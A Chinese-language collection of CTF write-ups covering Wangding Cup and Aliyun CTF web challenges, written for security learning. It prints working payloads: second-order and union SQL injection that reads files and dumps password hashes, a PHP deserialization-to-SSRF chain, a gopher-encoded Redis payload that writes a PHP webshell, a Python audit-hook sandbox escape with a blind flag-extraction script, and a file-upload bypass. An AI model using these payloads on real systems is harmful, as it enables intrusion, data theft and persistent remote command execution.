[网鼎杯 2018]Comment
进来是一个留言板,需要登录才能写,要爆破后三位密码。
我们先扫目录:

发现有很多git文件,这里学习了一下githacker使用
githacker --url http://2b661b6a-7be0-408c-84e4-0aa48b856bee.node4.buuoj.cn:81/ --folder ./result可以下载下来git仓库,还有一份源码:

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
我们发现这份源码好像也实现不了网站功能呀,怀疑是不完整源码,又去学习了一下恢复git文件
我们先通过git命令找到历史记录:
PS D:\webtool\GitHacker\result\6bc57b1d5399283fce7fbb0c289a505f> git log --reflog然后找到完整源码的文件恢复:
PS D:\webtool\GitHacker\result\6bc57b1d5399283fce7fbb0c289a505f> git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
具体怎么判断的哪个是完整的我也不清楚,大概就是看refs/stash 标记
然后我们就得到了完整的源代码了:
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>很明显发现一个wirte模式,执行insert命令,comment模式执行查询,这是一个二次注入的特征。
首先我们尝试爆破一个密码,这里猜测是整数:
注意到只有pauload为666时,响应大小最大且存在302跳转,那这应该就是正确密码了。
下面进行二次注入,这里查询得到的是category,然后又被原样写入,所以对该字段注入
输入流程:
- 在
do=write页面payload:
title=12&category=12',content=(select(load_file("/etc/passwd"))),/*&content=123注意最后的/*让后面的content字段被注释,这样我们才能控制该字段。
前面12'这里引号构造闭合,然后我们就能随意构造content字段,注意最外层()不能去掉因为这里要拼接到sql语句后要先让他执行我们的查询,不然有语法错误
2. 在do=comment页面payload:
content=*/#&bo_id=4这里为了和上面的/*一起一起形成注释,把原本的content字段注释掉,然后就形成了二次注入
因为把上面我们的输入取出来了,有注入进去,此时就连原本存在的addslashes()转义都消失了。
3. 访问/comment.php?id=4
查询结果,此时会查到注入的结果,注意每次注入要换一个id,上一步也一样。
这里用到了load_file是因为常规的注入没有找到flag,所以试试读文件。
注意到web目录:
是在/home下面,看一下web目录的操作记录:
title=12&category=12',content=(select(load_file("/home/www/.bash_history"))),/*&content=123
可以看到当前项由html.zip在原本/tmp目录下解压再复制到/var/www,并且记录了关于项目html文件结构的.DS_Store在/tmp目录中仍存在一份,去读取这个文件了解下项目结构。
都是不可见字符,我们想到可以用hex()函数读取16进制编码出来
title=12&category=12',content=(select(hex(load_file("/tmp/html/.DS_Store")))),/*&content=123得到的16进制转成字符串,可以用在线网站
https://www.sojson.com/hexadecimal.html
得到了flag的文件路径,flag_8946e1ff1ee3e40f.php
title=12&category=12',content=(select(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*&content=123
[网鼎杯 2018]Fakebook
dirsearch扫一波:
有robots.txt去看看。
备份文件,下下来看看:
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}看到curl_exec那应该就是打ssrf
随便测试、一下,注意到添加blog之后,点击是可以看内容的
我们换成www.baidu.com,访问,确实得到了网页html代码,不过是base64形式:
这里又想测一下sql注入,测一下,发现居然也存在数字型sql,并且过滤了union select连写,我们试一下注释符,可以绕过
方法一:
然后直接load_file读文件
?no=0 unioN/**/ select 1,(select(load_file("/var/www/html/flag.php"))),3,4方法二:
常规注入,最后把表中数据读到:
?no=0 unioN/**/ select 1,group_concat(no,'~',username,'~',passwd,'~',data),3,4 from users #1~admin~c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec~O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:13;s:4:"blog";s:8:"blog.com";},2~admin1~c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec~O:8:"UserInfo":3:{s:4:"name";s:6:"admin1";s:3:"age";i:13;s:4:"blog";s:9:"baidu.com";},3~admin2~c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec~O:8:"UserInfo":3:{s:4:"name";s:6:"admin2";s:3:"age";i:13;s:4:"blog";s:13:"www.baidu.com";},4~admin4~c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec~O:8:"UserInfo":3:{s:4:"name";s:6:"admin4";s:3:"age";i:13;s:4:"blog";s:26:"7f000001.c0a80001.rbndr.us";},5~admin5~c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec~O:8:"UserInfo":3:{s:4:"name";s:6:"admin5";s:3:"age";i:13;s:4:"blog";s:21:"http://local.test.com";}得到这个,就发现data字段是序列化存储的;报错也有反序列化失败,那想会不会存在反序列化漏洞
我们再联想一下前面发现疑似SSRF的,它本身不能填file协议,那如果我们反序列化更改填入的blog,换成其他协呢?
exp:
<?php
class UserInfo
{
public $name = "1";
public $age = 12;
public $blog = "file:///etc/passwd";
}
$userInfo = new UserInfo();
echo serialize($userInfo);我们上面的注入过程知道了第四个是data的位置,那我们试试在第4个位置注入我们的payload:
?no=0 unioN/**/ select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:12;s:4:"blog";s:18:"file:///etc/passwd";}' #
看到常规读到。这里这个sql注入+php反序列化+ssrf还是很有意思
[网鼎杯 2020 玄武组]SSRFMe
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>按照提示看一下hint.php…原来要本地,那应该是打ssrf,我们看看源码先
127.0.0.1被waf了,0.0.0.0绕过:
?url=http://0.0.0.0/hint.php得到hint.php:
<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}
看到了redis密码,那就是打密码泄露的redis了,加上auth root就好了,我们直接写webshell payload:
auth root
config set dir /var/www/html/
config set dbfilename shell.php
set margin "<?php system($_POST['cmd']);?>"
save
quiturl编码两次用gopher协议发包
?url=gopher://0.0.0.0:6379/_auth%2520root%250Aconfig%2520set%2520dir%2520%252Fvar%252Fwww%252Fhtml%252F%250Aconfig%2520set%2520dbfilename%2520shell.php%250Aset%2520margin%2520%2522%253C%253Fphp%2520system(%2524_POST%255B%27cmd%27%255D)%253B%253F%253E%2522%250Asave%250Aquit
最后命令执行

[阿里云CTF2025]ezoj
这题不算复现吧,就算是学习了,想复现然后搞环境什么的搞了很久还是不行,应该是和题目环境有点差别,怎么都打不出来。但是理解了一下怎么做吧。(最后还是给我搞出来了。。。。)
题目就是一个oj,可以自己写脚本做计算题,所对了会给你检查 给了源码:
import os
import subprocess
import uuid
import json
from flask import Flask, request, jsonify, send_file
from pathlib import Path
app = Flask(__name__)
SUBMISSIONS_PATH = Path("./submissions")
PROBLEMS_PATH = Path("./problems")
SUBMISSIONS_PATH.mkdir(parents=True, exist_ok=True)
CODE_TEMPLATE = """
import sys
import math
import collections
import queue
import heapq
import bisect
def audit_checker(event,args):
if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
raise RuntimeError
sys.addaudithook(audit_checker)
"""
class OJTimeLimitExceed(Exception):
pass
class OJRuntimeError(Exception):
pass
@app.route("/")
def index():
return send_file("static/index.html")
@app.route("/source")
def source():
return send_file("server.py")
@app.route("/api/problems")
def list_problems():
problems_dir = PROBLEMS_PATH
problems = []
for problem in problems_dir.iterdir():
problem_config_file = problem / "problem.json"
if not problem_config_file.exists():
continue
problem_config = json.load(problem_config_file.open("r"))
problem = {
"problem_id": problem.name,
"name": problem_config["name"],
"description": problem_config["description"],
}
problems.append(problem)
problems = sorted(problems, key=lambda x: x["problem_id"])
problems = {"problems": problems}
return jsonify(problems), 200
@app.route("/api/submit", methods=["POST"])
def submit_code():
try:
data = request.get_json()
code = data.get("code")
problem_id = data.get("problem_id")
if code is None or problem_id is None:
return (
jsonify({"status": "ER", "message": "Missing 'code' or 'problem_id'"}),
400,
)
problem_id = str(int(problem_id))
problem_dir = PROBLEMS_PATH / problem_id
if not problem_dir.exists():
return (
jsonify(
{"status": "ER", "message": f"Problem ID {problem_id} not found!"}
),
404,
)
code_filename = SUBMISSIONS_PATH / f"submission_{uuid.uuid4()}.py"
with open(code_filename, "w") as code_file:
code = CODE_TEMPLATE + code
code_file.write(code)
result = judge(code_filename, problem_dir)
code_filename.unlink()
return jsonify(result)
except Exception as e:
return jsonify({"status": "ER", "message": str(e)}), 500
def judge(code_filename, problem_dir):
test_files = sorted(problem_dir.glob("*.input"))
total_tests = len(test_files)
passed_tests = 0
try:
for test_file in test_files:
input_file = test_file
expected_output_file = problem_dir / f"{test_file.stem}.output"
if not expected_output_file.exists():
continue
case_passed = run_code(code_filename, input_file, expected_output_file)
if case_passed:
passed_tests += 1
if passed_tests == total_tests:
return {"status": "AC", "message": f"Accepted"}
else:
return {
"status": "WA",
"message": f"Wrang Answer: pass({passed_tests}/{total_tests})",
}
except OJRuntimeError as e:
return {"status": "RE", "message": f"Runtime Error: ret={e.args[0]}"}
except OJTimeLimitExceed:
return {"status": "TLE", "message": "Time Limit Exceed"}
def run_code(code_filename, input_file, expected_output_file):
with open(input_file, "r") as infile, open(
expected_output_file, "r"
) as expected_output:
expected_output_content = expected_output.read().strip()
process = subprocess.Popen(
["python3", code_filename],
stdin=infile,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
)
try:
stdout, stderr = process.communicate(timeout=5)
except subprocess.TimeoutExpired:
process.kill()
raise OJTimeLimitExceed
if process.returncode != 0:
raise OJRuntimeError(process.returncode)
if stdout.strip() == expected_output_content:
return True
else:
return False
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)python沙箱逃逸 看到:
CODE_TEMPLATE = """
import sys
import math
import collections
import queue
import heapq
import bisect
def audit_checker(event,args):
if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
raise RuntimeError
sys.addaudithook(audit_checker)
"""这里时启用了审计钩子,只要是不在白名单的函数就会报错
这里算是好的给了我们import,但是无法执行命令,我这里也只知道一个方法:
https://xz.aliyun.com/news/12093
_posixsubprocess 执行命令
该模块的核心功能是 fork_exec 函数:
fork_exec 提供了一个非常底层的方式来创建一个新的子进程,并在这个新进程中执行一个指定的程序。但这个模块并没有在 Python 的标准库文档中列出,每个版本的 Python 可能有所差异.
用法就是:
import os
import _posixsubprocess
_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)所以这题的exp:
import string
import requests
url = "http://121.41.238.106:63869/api/submit"
flag = ""
for i in range(0,50):
for s in '-'+'}'+'{'+string.ascii_lowercase+string.digits:
json = {"problem_id":"1","code":f"import os\nimport _posixsubprocess\n_posixsubprocess.fork_exec([b\"anything\", \"-c\",\"import os;f=os.popen('cat /f*').read();\\nif f[{i}]=='{s}':print(2)\"], [b\"/bin/python3\"], True, (), None, None, -1, -1, -1, -1, -1,-1, *(os.pipe()), False, False, False, None, None, None, -1, None, False)\n"}
res = requests.post(url, json=json)
if res.json()['message'] == "Wrang Answer: pass(1/10)":
flag += s
print(flag)
break
print(i)脚本的逻辑就是执行命令的时候,因为答案里面有2,所以你如果print(2),那就会返回:
Wrang Answer: pass(1/10)
如果没有的话,那就一个都不对,就会返回
Wrang Answer: pass(0/10)' 这里就是先绕过钩子读取到flag,然后一个个对比,如果对上了一个字符就print(2)`,
这样进行布尔盲注。读取到flag
真不容易这里第一个A被打出来,因为脚本字符集不全,可以改进一下。
[网鼎杯 2020 半决赛]faka
一
审代码,application/admin/index.php 文件下有两个方法:
public function pass()
{
if (intval($this->request->request('id')) !== intval(session('user.id'))) {
$this->error('只能修改当前用户的密码!');
}
if ($this->request->isGet()) {
$this->assign('verify', true);
return $this->_form('SystemUser', 'user/pass');
}
$data = $this->request->post();
if ($data['password'] !== $data['repassword']) {
$this->error('两次输入的密码不一致,请重新输入!');
}
$user = Db::name('SystemUser')->where('id', session('user.id'))->find();
if (md5($data['oldpassword']) !== $user['password']) {
$this->error('旧密码验证失败,请重新输入!');
}
if (DataService::save('SystemUser', ['id' => session('user.id'), 'password' => md5($data['password'])])) {
$this->success('密码修改成功,下次请使用新密码登录!', '');
}
$this->error('密码修改失败,请稍候再试!');
}
/**
* 修改资料
*/
public function info()
{
if (intval($this->request->request('id')) === intval(session('user.id'))) {
return $this->_form('SystemUser', 'user/form');
}
$this->error('只能修改当前用户的资料!');
}
尝试了下,两个路径都可以直接访问。第一个方法是修改用户密码,可以看到代码中验证比较多,没有什么可以利用点;info这个方法直接调用父类的方法,没有什么比对验证,也许可以利用?试一下,可以直接添加,尝试登录
功能比较少,点击内容管理时,提示没有权限,接下来需要越权。
审计了一圈下来,用户信息都存在session当中,没办法直接在页面交互中改权限。
比对数据库发现,自己注册的用户和admin用户的authorize值不一样。
而且自己新增的用户authorize值为null。能不能在刚才修改用户的资料里这个页面直接改?
我们成功添加了超级管理员账户
最后找到一个文件下载
payload:
http://76d7f130-51bd-4a43-9abb-e65d29842a68.node5.buuoj.cn/index.php/manage/Backup/downloadBak?file=%E2%80%A6/%E2%80%A6/%E2%80%A6/%E2%80%A6/etc/passwd但是不知道为什么这里报错了。。。

二、
这是另外一个师傅的wp,我还得好好看看
题目给了源码,是一个自动发卡平台
基于thinkphp写的,也是看到了wp,漏洞点在application/admin/controller/Plugs.php

首先通过$this->request->file()来获取上传的文件信息,$this->request->file()是thinkphp实现的用来获取上传文件信息的函数,详细代码如下:
/**
* 获取上传的文件信息
* @access public
* @param string|array $name 名称
* @return null|array|\think\File
*/
public function file($name = '')
{
if (empty($this->file)) {
$this->file = isset($_FILES) ? $_FILES : [];
}
if (is_array($name)) {
return $this->file = array_merge($this->file, $name);
}
$files = $this->file;
if (!empty($files)) {
// 处理上传文件
$array = [];
foreach ($files as $key => $file) {
if (is_array($file['name'])) {
$item = [];
$keys = array_keys($file);
$count = count($file['name']);
for ($i = 0; $i < $count; $i++) {
if (empty($file['tmp_name'][$i]) || !is_file($file['tmp_name'][$i])) {
continue;
}
$temp['key'] = $key;
foreach ($keys as $_key) {
$temp[$_key] = $file[$_key][$i];
}
$item[] = (new File($temp['tmp_name']))->setUploadInfo($temp);
}
$array[$key] = $item;
} else {
if ($file instanceof File) {
$array[$key] = $file;
} else {
if (empty($file['tmp_name']) || !is_file($file['tmp_name'])) {
continue;
}
$array[$key] = (new File($file['tmp_name']))->setUploadInfo($file);
}
}
}
if (strpos($name, '.')) {
list($name, $sub) = explode('.', $name);
}
if ('' === $name) {
// 获取全部文件
return $array;
} elseif (isset($sub) && isset($array[$name][$sub])) {
return $array[$name][$sub];
} elseif (isset($array[$name])) {
return $array[$name];
}
}
return;
}然后通过pathinfo()获取上传文件的扩展名,如果扩展名为php或者不在允许上传的类型中的话,会返回文件上传类型受限;然后将POST传的md5值以十六位一组,进行切片,之后分别将这两组字符串作为路径和文件名,最后在加上之前得到的文件扩展名赋值给$filename;在上传文件之前还有一个Token验证,会判断POST传的token值是否为$filename拼接上session_id()的md5值,经过测试这里的session_id()返回的是空字符串,而且我们知道$filename,所以可以很容易的绕过这里的检测;然后看关键的部分,跟进move()函数,
/**
* 移动文件
* @access public
* @param string $path 保存路径
* @param string|bool $savename 保存的文件名 默认自动生成
* @param boolean $replace 同名文件是否覆盖
* @return false|File
*/
public function move($path, $savename = true, $replace = true)
{
// 文件上传失败,捕获错误代码
if (!empty($this->info['error'])) {
$this->error($this->info['error']);
return false;
}
// 检测合法性
if (!$this->isValid()) {
$this->error = 'upload illegal files';
return false;
}
// 验证上传
if (!$this->check()) {
return false;
}
$path = rtrim($path, DS) . DS;
// 文件保存命名规则
$saveName = $this->buildSaveName($savename);
$filename = $path . $saveName;
// 检测目录
if (false === $this->checkPath(dirname($filename))) {
return false;
}
// 不覆盖同名文件
if (!$replace && is_file($filename)) {
$this->error = ['has the same filename: {:filename}', ['filename' => $filename]];
return false;
}
/* 移动文件 */
if ($this->isTest) {
rename($this->filename, $filename);
} elseif (!move_uploaded_file($this->filename, $filename)) {
$this->error = 'upload write error';
return false;
}
// 返回 File 对象实例
$file = new self($filename);
$file->setSaveName($saveName)->setUploadInfo($this->info);
return $file;
}前面是对文件的一些检测,在$this->check()函数中会调用checkImg()函数来检查上传的文件是否真的为图片,

通过检测后会进入buildSaveName($savename),跟进
/**
* 获取保存文件名
* @access protected
* @param string|bool $savename 保存的文件名 默认自动生成
* @return string
*/
protected function buildSaveName($savename)
{
// 自动生成文件名
if (true === $savename) {
if ($this->rule instanceof \Closure) {
$savename = call_user_func_array($this->rule, [$this]);
} else {
switch ($this->rule) {
case 'date':
$savename = date('Ymd') . DS . md5(microtime(true));
break;
default:
if (in_array($this->rule, hash_algos())) {
$hash = $this->hash($this->rule);
$savename = substr($hash, 0, 2) . DS . substr($hash, 2);
} elseif (is_callable($this->rule)) {
$savename = call_user_func($this->rule);
} else {
$savename = date('Ymd') . DS . md5(microtime(true));
}
}
}
} elseif ('' === $savename || false === $savename) {
$savename = $this->getInfo('name');
}
if (!strpos($savename, '.')) {
$savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
}
return $savename;
}这里的$savename是我们move()函数的第二个参数,就是前面的$md5[1],经过buildSaveName($savename)后会直接返回$md5[1],然后拼接在$path的后面做为文件名,后面直接调用move_uploaded_file()将文件移动到$path,在这个过程中$ma5[1]是可控的,所以我们可以直接上传php文件。首先生成带木马的图片,然后生成token值,
php > echo md5("aa");
4124bc0a9335c27f086f24ba207a4912
echo md5("4124bc0a9335c27f/086f24ba207a.php.png");
bf9b89e7c8f5f1159d8bd7aaaa9c795d
